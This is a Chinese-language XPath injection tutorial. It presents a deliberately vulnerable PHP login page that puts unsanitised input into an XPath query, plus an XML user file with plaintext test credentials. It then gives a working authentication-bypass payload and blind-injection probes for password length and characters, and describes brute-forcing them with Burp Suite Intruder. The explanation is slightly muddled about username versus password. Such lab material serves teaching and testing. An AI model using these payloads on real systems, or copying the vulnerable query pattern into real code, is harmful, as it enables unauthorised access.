漏洞页面代码
login.php
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<form method="POST">
用户名:<input type="text" name="username"><br>
密码:<input type="password" name="password"><br>
<input type="submit" value="登录" name="submit">
</form>
</body>
</html>
<?php
if(file_exists('xpath_user.xml')){
$xml=simplexml_load_file('xpath_user.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=$_POST['password'];
$sql="//user[@username='{$username}' and @password='{$password}']";
$resulit = $xml->xpath($sql);
if(count($resulit)==0){
echo '登录失败';
}else{
echo "登录成功qweqwewqweeqweqweqwqeweqw";
}
}
}
?>
xpath_user.xml代码
<?xml version="1.0" encoding="UTF-8"?>
<users>
<user id="1" username="admin" password="admin"></user>
<user id="2" username="root" password="admin"></user>
<user id="3" username="system" password="system"></user>
</users>
注意:
$sql="//user[@username='{$username}' and @password='{$password}']";
等价于
select * from users where username=’username’ and password=’password’
可以万能密码登录
username=admin'+or+'1'='1&password=123&submit=xxxxxxxx
可以利用burpsuite的intruder模块进行账号的爆破
首先确定账号几位
说明不是六位,这里账号是admin,五位
username=admin'+and+string-length(@password)=6+or+'1'='1&password=123&submit=123
正确的
username=admin'+and+string-length(@password)=5+or+'1'='1&password=123&submit=123
盲注第一位是什么字母
username=admin'+and+substring(@password,1,1)='a'+or'1'='1&password=123&submit=123312
接下来利用intruder模块爆账号
第一个payload选择numbers
这里账号是五位,所以payload1从1-5
第二个payload选择Brute forcer
账号是admin,所以字母直接26个字母即可
开始爆破
成功,账号admin